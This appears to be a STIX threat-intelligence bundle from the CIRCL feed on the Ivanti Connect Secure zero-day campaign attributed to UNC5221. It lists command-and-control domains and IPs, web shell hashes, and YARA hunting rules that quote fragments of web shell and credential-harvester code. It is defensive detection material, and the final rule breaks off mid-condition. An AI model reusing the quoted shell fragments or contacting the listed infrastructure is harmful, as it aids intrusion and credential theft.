misp-circl-feed/feeds/circl/stix-2.1/34237efb-adf4-452b-a322-0cbed70c7b33.json

815 lines
No EOL
82 KiB
JSON

{
"type": "bundle",
"id": "bundle--34237efb-adf4-452b-a322-0cbed70c7b33",
"objects": [
{
"type": "identity",
"spec_version": "2.1",
"id": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:55:21.000Z",
"modified": "2024-01-31T19:55:21.000Z",
"name": "CIRCL",
"identity_class": "organization"
},
{
"type": "report",
"spec_version": "2.1",
"id": "report--34237efb-adf4-452b-a322-0cbed70c7b33",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:55:21.000Z",
"modified": "2024-01-31T19:55:21.000Z",
"name": "OSINT - Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation",
"published": "2024-01-31T19:56:12Z",
"object_refs": [
"indicator--097b466b-5964-43d5-a4d5-18bb503d3336",
"indicator--9ad402bc-b0d4-42e6-a34d-a731d33fa93c",
"indicator--dfef87dc-c4d5-4b14-943e-cc7cc623a5c3",
"indicator--9d60e463-adc3-44bb-be48-ec973485cff1",
"indicator--07dde0ea-e363-4162-bcdf-f0cdcfed9d02",
"indicator--a3aff888-895f-4aa2-90b2-e6038d436c75",
"indicator--1dbb8c23-945b-4d26-b63c-4fa36f7d0940",
"indicator--a8d27aca-54ae-4f0b-981e-0807e6c565e8",
"indicator--f59d17cd-187c-4a3a-ba28-11be34df2f40",
"indicator--56b22645-99fa-4684-beab-0b79a92fa0d1",
"indicator--7b528c7e-780e-434b-95c2-4248ba0c04ba",
"indicator--5b5e0358-58cb-4bef-b2bd-5934e1751ba8",
"indicator--0ef4ce51-fb7a-42d0-8925-9c6b2bbf9d19",
"indicator--ec208a18-c962-4ff6-8bc8-e4a40ca1b7f9",
"indicator--514e7637-1078-4908-a706-cae7d17524ba",
"indicator--5aaa9588-becf-4317-a04b-c312691e8229",
"indicator--43b9f253-c33c-4d24-bb05-7bd203990ebd",
"indicator--263db6db-2a91-454f-862f-42d76d2a8153",
"indicator--8db36071-6d50-43df-94fd-b148802357fa",
"indicator--0fad72d4-ae50-43ce-bb9f-a479b4a90c1c",
"x-misp-object--bc0bbe47-980e-4641-8136-88c8dd4eea06",
"indicator--e0a26f37-4a36-41c7-bfe7-e249e03339c4",
"indicator--4baf011f-70ce-4dce-bf4e-90001e1889e0",
"indicator--a63d0871-116e-4373-b676-cfde0f7eab68",
"indicator--fa2ed52d-c8bb-4c88-a331-1f16f48733e6",
"indicator--1eca4c10-f005-44bc-ae13-a68d0fc0b921",
"indicator--73ca8ee2-2418-45a0-b171-99a492b3b7b9",
"indicator--7f76662a-520a-439c-aa32-a1671c206fa7",
"indicator--bf920237-658b-4601-97fc-842fcb06055c",
"note--bca78d65-fde0-45e0-b223-18bc04e4ad20"
],
"labels": [
"Threat-Report",
"misp:tool=\"MISP-STIX-Converter\"",
"misp-galaxy:country=\"china\"",
"misp-galaxy:mitre-attack-pattern=\"Exploit Public-Facing Application - T1190\"",
"type:OSINT",
"osint:lifetime=\"perpetual\"",
"osint:certainty=\"50\"",
"tlp:clear"
],
"object_marking_refs": [
"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--097b466b-5964-43d5-a4d5-18bb503d3336",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:43:21.000Z",
"modified": "2024-01-31T19:43:21.000Z",
"description": "WARPWIRE C2 server",
"pattern": "[domain-name:value = 'symantke.com']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:43:21Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"domain\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--9ad402bc-b0d4-42e6-a34d-a731d33fa93c",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:43:21.000Z",
"modified": "2024-01-31T19:43:21.000Z",
"description": "WARPWIRE variant C2 server",
"pattern": "[domain-name:value = 'miltonhouse.nl']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:43:21Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"domain\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--dfef87dc-c4d5-4b14-943e-cc7cc623a5c3",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:43:21.000Z",
"modified": "2024-01-31T19:43:21.000Z",
"description": "WARPWIRE variant C2 server",
"pattern": "[domain-name:value = 'entraide-internationale.fr']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:43:21Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"domain\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--9d60e463-adc3-44bb-be48-ec973485cff1",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:43:21.000Z",
"modified": "2024-01-31T19:43:21.000Z",
"description": "WARPWIRE variant C2 server",
"pattern": "[domain-name:value = 'api.d-n-s.name']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:43:21Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"hostname\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--07dde0ea-e363-4162-bcdf-f0cdcfed9d02",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:43:21.000Z",
"modified": "2024-01-31T19:43:21.000Z",
"description": "WARPWIRE variant C2 server",
"pattern": "[domain-name:value = 'cpanel.netbar.org']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:43:21Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"hostname\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--a3aff888-895f-4aa2-90b2-e6038d436c75",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:43:21.000Z",
"modified": "2024-01-31T19:43:21.000Z",
"description": "WARPWIRE variant C2 server",
"pattern": "[domain-name:value = 'clickcom.click']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:43:21Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"domain\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--1dbb8c23-945b-4d26-b63c-4fa36f7d0940",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:43:22.000Z",
"modified": "2024-01-31T19:43:22.000Z",
"description": "WARPWIRE variant C2 server",
"pattern": "[domain-name:value = 'clicko.click']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:43:22Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"domain\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--a8d27aca-54ae-4f0b-981e-0807e6c565e8",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:43:22.000Z",
"modified": "2024-01-31T19:43:22.000Z",
"description": "WARPWIRE variant C2 server",
"pattern": "[domain-name:value = 'duorhytm.fun']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:43:22Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"domain\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--f59d17cd-187c-4a3a-ba28-11be34df2f40",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:43:22.000Z",
"modified": "2024-01-31T19:43:22.000Z",
"description": "WARPWIRE variant C2 server",
"pattern": "[domain-name:value = 'line-api.com']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:43:22Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"domain\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--56b22645-99fa-4684-beab-0b79a92fa0d1",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:43:22.000Z",
"modified": "2024-01-31T19:43:22.000Z",
"description": "WARPWIRE variant C2 server",
"pattern": "[domain-name:value = 'areekaweb.com']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:43:22Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"domain\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--7b528c7e-780e-434b-95c2-4248ba0c04ba",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:43:22.000Z",
"modified": "2024-01-31T19:43:22.000Z",
"description": "WARPWIRE variant C2 server",
"pattern": "[domain-name:value = 'ehangmun.com']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:43:22Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"domain\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--5b5e0358-58cb-4bef-b2bd-5934e1751ba8",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:43:22.000Z",
"modified": "2024-01-31T19:43:22.000Z",
"description": "WARPWIRE variant C2 server",
"pattern": "[domain-name:value = 'secure-cama.com']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:43:22Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"domain\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--0ef4ce51-fb7a-42d0-8925-9c6b2bbf9d19",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:55:21.000Z",
"modified": "2024-01-31T19:55:21.000Z",
"description": "WARPWIRE variant C2 server",
"pattern": "[network-traffic:dst_ref.type = 'ipv4-addr' AND network-traffic:dst_ref.value = '146.0.228.66']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:55:21Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"ip-dst\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--ec208a18-c962-4ff6-8bc8-e4a40ca1b7f9",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:55:21.000Z",
"modified": "2024-01-31T19:55:21.000Z",
"description": "WARPWIRE variant C2 server",
"pattern": "[network-traffic:dst_ref.type = 'ipv4-addr' AND network-traffic:dst_ref.value = '159.65.130.146']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:55:21Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"ip-dst\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--514e7637-1078-4908-a706-cae7d17524ba",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:55:21.000Z",
"modified": "2024-01-31T19:55:21.000Z",
"description": "WARPWIRE variant C2 server",
"pattern": "[network-traffic:dst_ref.type = 'ipv4-addr' AND network-traffic:dst_ref.value = '8.137.112.245']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:55:21Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"ip-dst\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--5aaa9588-becf-4317-a04b-c312691e8229",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:55:21.000Z",
"modified": "2024-01-31T19:55:21.000Z",
"description": "WARPWIRE variant C2 server",
"pattern": "[network-traffic:dst_ref.type = 'ipv4-addr' AND network-traffic:dst_ref.value = '91.92.254.14']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:55:21Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"ip-dst\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--43b9f253-c33c-4d24-bb05-7bd203990ebd",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:55:21.000Z",
"modified": "2024-01-31T19:55:21.000Z",
"description": "Mass exploitation activity",
"pattern": "[network-traffic:dst_ref.type = 'ipv4-addr' AND network-traffic:dst_ref.value = '186.179.39.235']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:55:21Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"ip-dst\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--263db6db-2a91-454f-862f-42d76d2a8153",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:55:21.000Z",
"modified": "2024-01-31T19:55:21.000Z",
"description": "Post-exploitation activity",
"pattern": "[network-traffic:dst_ref.type = 'ipv4-addr' AND network-traffic:dst_ref.value = '50.215.39.49']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:55:21Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"ip-dst\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--8db36071-6d50-43df-94fd-b148802357fa",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:55:21.000Z",
"modified": "2024-01-31T19:55:21.000Z",
"description": "Post-exploitation activity",
"pattern": "[network-traffic:dst_ref.type = 'ipv4-addr' AND network-traffic:dst_ref.value = '45.61.136.14']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:55:21Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"ip-dst\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--0fad72d4-ae50-43ce-bb9f-a479b4a90c1c",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:55:21.000Z",
"modified": "2024-01-31T19:55:21.000Z",
"description": "Post-exploitation activity",
"pattern": "[network-traffic:dst_ref.type = 'ipv4-addr' AND network-traffic:dst_ref.value = '173.220.106.166']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:55:21Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"ip-dst\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "x-misp-object",
"spec_version": "2.1",
"id": "x-misp-object--bc0bbe47-980e-4641-8136-88c8dd4eea06",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:30:02.000Z",
"modified": "2024-01-31T19:30:02.000Z",
"labels": [
"misp:name=\"report\"",
"misp:meta-category=\"misc\""
],
"x_misp_attributes": [
{
"type": "link",
"object_relation": "link",
"value": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation",
"category": "External analysis",
"uuid": "b891afdc-c01b-4fe1-aa99-b7b0b719b18c"
},
{
"type": "text",
"object_relation": "summary",
"value": "On Jan. 12, 2024, Mandiant published a blog post detailing two high-impact zero-day vulnerabilities, CVE-2023-46805 and CVE-2024-21887, affecting Ivanti Connect Secure VPN (CS, formerly Pulse Secure) and Ivanti Policy Secure (PS) appliances. On Jan. 31, 2024, Ivanti disclosed two additional vulnerabilities impacting CS and PS devices, CVE-2024-21888 and CVE-2024-21893.\r\n\r\nThe vulnerabilities allow for an unauthenticated threat actor to execute arbitrary commands on the appliance with elevated privileges. As previously reported, Mandiant has identified zero-day exploitation of these vulnerabilities in the wild beginning as early as Dec. 3, 2023 by a suspected China-nexus espionage threat actor currently being tracked as UNC5221. \r\n\r\nMandiant has identified broad exploitation activity following the disclosure of the two vulnerabilities, both by UNC5221 and other uncategorized threat groups. Mandiant assesses that a significant portion of the post-advisory activity has been performed through automated methods.\r\n\r\nIn this follow-up blog post, we detail additional tactics, techniques, and procedures (TTPs) employed by UNC5221 and other threat groups during post-exploitation activity across our incident response engagements. We also detail new malware families and variants to previously identified malware families being used by UNC5221. We acknowledge the possibility that one or more related groups may be associated with the activity described in this blog post. It is likely that additional groups beyond UNC5221 have adopted one or more of these tools.\r\n\r\nThese observations have been supported through Mandiant's incident response engagements, working with Ivanti, and our partners. Mandiant is also providing additional recommendations for network defenders, including indicators of compromise (IOCs), and YARA rules.\r\n\r\nNote: Ivanti has released its first round of patches starting today, and it is scheduled to continue rolling out additional patches over the coming weeks. Ivanti recommends customers awaiting patches to apply the mitigation, run the external Integrity Checker Tool (ICT) to check for evidence of exploitation, and continue following the KB article to receive product updates as they become available.",
"category": "Other",
"uuid": "76c539f5-ecd5-4fed-8dc5-9aa8956f8812"
},
{
"type": "text",
"object_relation": "title",
"value": "Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation",
"category": "Other",
"uuid": "4222c19f-b759-47d9-99ac-edd4eb9219af"
},
{
"type": "text",
"object_relation": "type",
"value": "Blog",
"category": "Other",
"uuid": "69d9a31f-eef5-4e3a-a3ce-d1b59a54974a"
}
],
"x_misp_meta_category": "misc",
"x_misp_name": "report"
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--e0a26f37-4a36-41c7-bfe7-e249e03339c4",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:36:15.000Z",
"modified": "2024-01-31T19:36:15.000Z",
"description": "LIGHTWIRE web shell",
"pattern": "[file:hashes.MD5 = '3d97f55a03ceb4f71671aa2ecf5b24e9' AND file:name = 'compcheckresult.cgi']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:36:15Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "file"
}
],
"labels": [
"misp:name=\"file\"",
"misp:meta-category=\"file\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--4baf011f-70ce-4dce-bf4e-90001e1889e0",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:36:59.000Z",
"modified": "2024-01-31T19:36:59.000Z",
"description": "CHAINLINE web shell",
"pattern": "[file:hashes.MD5 = '3045f5b3d355a9ab26ab6f44cc831a83' AND file:name = 'health.py']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:36:59Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "file"
}
],
"labels": [
"misp:name=\"file\"",
"misp:meta-category=\"file\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--a63d0871-116e-4373-b676-cfde0f7eab68",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:37:48.000Z",
"modified": "2024-01-31T19:37:48.000Z",
"description": "WARPWIRE credential harvester variant",
"pattern": "[file:hashes.MD5 = '2ec505088b942c234f39a37188e80d7a' AND file:name = 'lastauthserverused.js']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:37:48Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "file"
}
],
"labels": [
"misp:name=\"file\"",
"misp:meta-category=\"file\"",
"misp:to_ids=\"True\""
]
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--fa2ed52d-c8bb-4c88-a331-1f16f48733e6",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:46:11.000Z",
"modified": "2024-01-31T19:46:11.000Z",
"name": "M_Hunting_Webshell_BUSHWALK_1",
"pattern": "rule M_Hunting_Webshell_BUSHWALK_1 {\r\n\r\n meta:\r\n\r\n author = \\\\\"Mandiant\\\\\"\r\n\r\n description = \\\\\"This rule detects BUSHWALK, a webshell written in Perl CGI that is embedded into a legitimate Pulse Secure file to enable file transfers\\\\\"\r\n\r\n \r\n\r\n strings:\r\n\r\n $s1 = \\\\\"SafariiOS\\\\\" ascii\r\n\r\n $s2 = \\\\\"command\\\\\" ascii\r\n\r\n $s3 = \\\\\"change\\\\\" ascii\r\n\r\n $s4 = \\\\\"update\\\\\" ascii\r\n\r\n $s5 = \\\\\"$data = RC4($key, $data);\\\\\" ascii\r\n\r\n condition:\r\n\r\n filesize < 5KB\r\n\r\n and all of them\r\n\r\n}",
"pattern_type": "yara",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:46:11Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "misc"
}
],
"labels": [
"misp:name=\"yara\"",
"misp:meta-category=\"misc\"",
"misp:to_ids=\"True\""
],
"x_misp_context": "all"
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--1eca4c10-f005-44bc-ae13-a68d0fc0b921",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:47:12.000Z",
"modified": "2024-01-31T19:47:12.000Z",
"name": "M_Hunting_Webshell_CHAINLINE_1",
"pattern": "rule M_Hunting_Webshell_CHAINLINE_1 {\r\n\r\n meta:\r\n\r\n author = \\\\\"Mandiant\\\\\"\r\n\r\n description = \\\\\"This rule detects the CHAINLINE webshell, which receives \r\nRC4 encrypted commands and returns the execution result\\\\\"\r\n\r\n md5 = \\\\\"3045f5b3d355a9ab26ab6f44cc831a83\\\\\"\r\n\r\n strings:\r\n\r\n $s1 = \\\\\"crypt(command: str)\\\\\" ascii\r\n\r\n $s2 = \\\\\"tmp[i] = chr(ord(tmp[i])\\\\\" ascii\r\n\r\n $s3 = \\\\\"ord(RC4_KEY[i \\\\% len(RC4_KEY)])\\\\\" ascii\r\n\r\n $s4 = \\\\\"class Health(Resource)\\\\\" ascii\r\n\r\n $s5 = \\\\\"crypt(base64.b64decode(command.encode(\\\\\" ascii\r\n\r\n $s6 = \\\\\"base64.b64encode(crypt(result)\\\\\" ascii\r\n\r\n $s7 = \\\\\"{\\\\\\\\\"message\\\\\\\\\": \\'ok\\', \\\\\\\\\"stats\\\\\\\\\": result}\\\\\" ascii\r\n\r\n condition:\r\n\r\n filesize < 100KB and\r\n\r\n any of them\r\n\r\n}",
"pattern_type": "yara",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:47:12Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "misc"
}
],
"labels": [
"misp:name=\"yara\"",
"misp:meta-category=\"misc\"",
"misp:to_ids=\"True\""
],
"x_misp_context": "all"
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--73ca8ee2-2418-45a0-b171-99a492b3b7b9",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:48:06.000Z",
"modified": "2024-01-31T19:48:06.000Z",
"name": "M_HUNTING_APT_Webshell_FRAMESTING_result",
"pattern": "rule M_HUNTING_APT_Webshell_FRAMESTING_result\r\n\r\n{\r\n\r\n meta:\r\n\r\n author = \\\\\"Mandiant\\\\\"\r\n\r\n description = \\\\\"Detects strings associated with FRAMESTING webshell\\\\\"\r\n\r\n md5 = \\\\\"465600cece80861497e8c1c86a07a23e\\\\\"\r\n\r\n strings:\r\n\r\n $s1 = \\\\\"exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),{\\'request\\':request,\\'cache\\'\\\\\"\r\n\r\n $s2 = \\\\\"result={\\'message\\':\\'\\',\\'action\\':0}\\\\\"\r\n\r\n \r\n\r\n condition:\r\n\r\n any of them\r\n\r\n}",
"pattern_type": "yara",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:48:06Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "misc"
}
],
"labels": [
"misp:name=\"yara\"",
"misp:meta-category=\"misc\"",
"misp:to_ids=\"True\""
],
"x_misp_context": "all"
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--7f76662a-520a-439c-aa32-a1671c206fa7",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:48:44.000Z",
"modified": "2024-01-31T19:48:44.000Z",
"name": "M_Hunting_Webshell_LIGHTWIRE_4",
"pattern": "rule M_Hunting_Webshell_LIGHTWIRE_4 {\r\n\r\n meta:\r\n\r\n author = \\\\\"Mandiant\\\\\"\r\n\r\n description = \\\\\"Detects LIGHTWIRE based on the RC4 \r\ndecoding and execution 1-liner.\\\\\"\r\n\r\n md5 = \\\\\"3d97f55a03ceb4f71671aa2ecf5b24e9\\\\\"\r\n\r\n strings:\r\n\r\n $re1 = /eval\\\\{my.{1,20}Crypt::RC4->new\\\\(\\\\\\\\\".{1,50}->RC4\\\\(decode_base64\\\\(CGI::param\\\\(\\\\\\'.{1,30};eval\\\\s\\\\$.{1,30}\\\\\\\\\"Compatibility\\\\scheck:\\\\s\\\\$@\\\\\\\\\";\\\\}/\r\n\r\n condition:\r\n\r\n filesize < 1MB and all of them\r\n\r\n}",
"pattern_type": "yara",
"pattern_version": "2.1",
"valid_from": "2024-01-31T19:48:44Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "misc"
}
],
"labels": [
"misp:name=\"yara\"",
"misp:meta-category=\"misc\"",
"misp:to_ids=\"True\""
],
"x_misp_context": "all"
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--bf920237-658b-4601-97fc-842fcb06055c",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2024-01-31T19:49:37.000Z",
"modified": "2024-01-31T19:49:37.000Z",
"name": "M_Hunting_CredTheft_WARPWIRE_strings",
"pattern": "rule M_Hunting_CredTheft_WARPWIRE_strings\r\n\r\n{\r\n\r\n meta:\r\n\r\n author = \\\\\"Mandiant\\\\\"\r\n\r\n description = \\\\\"Detects strings within WARPWIRE credential harvester\\\\\"\r\n\r\n md5 = \\\\\"b15f47e234b5d26fb2cc81fc6fd89775\\\\\"\r\n\r\n strings:\r\n\r\n $header = \\\\\"function SetLastRealm(sValue) {\\\\\"\r\n\r\n \r\n\r\n // password fields\r\n\r\n $username = \\\\\"document.frmLogin.username.value;\\\\\"\r\n\r\n $password = \\\\\"document.frmLogin.password.value;\\\\\"\r\n\r\n \r\n\r\n // post version\r\n\r\n $btoa = \\\\\"btoa(\\\\\"\r\n\r\n $xhr_post = /xhr.open\\\\(.POST.,( )?url,/\r\n\r\n \r\n\r\n // get version\r\n\r\n $xhr_get = /xhr.open\\\\(.GET.,( )?url,/\r\n\r\n $xhr_send = \\\\\"xhr.send(null);\\\\\"\r\n\r\n \r\n\r\n condition:\r\n\r\n $header in (0..100) \r\n\r\n and $password in (@username[1]..@username[1]+100)\r\n\r\n and ((#btoa > 1 and $xhr_post) or ($xhr_send in 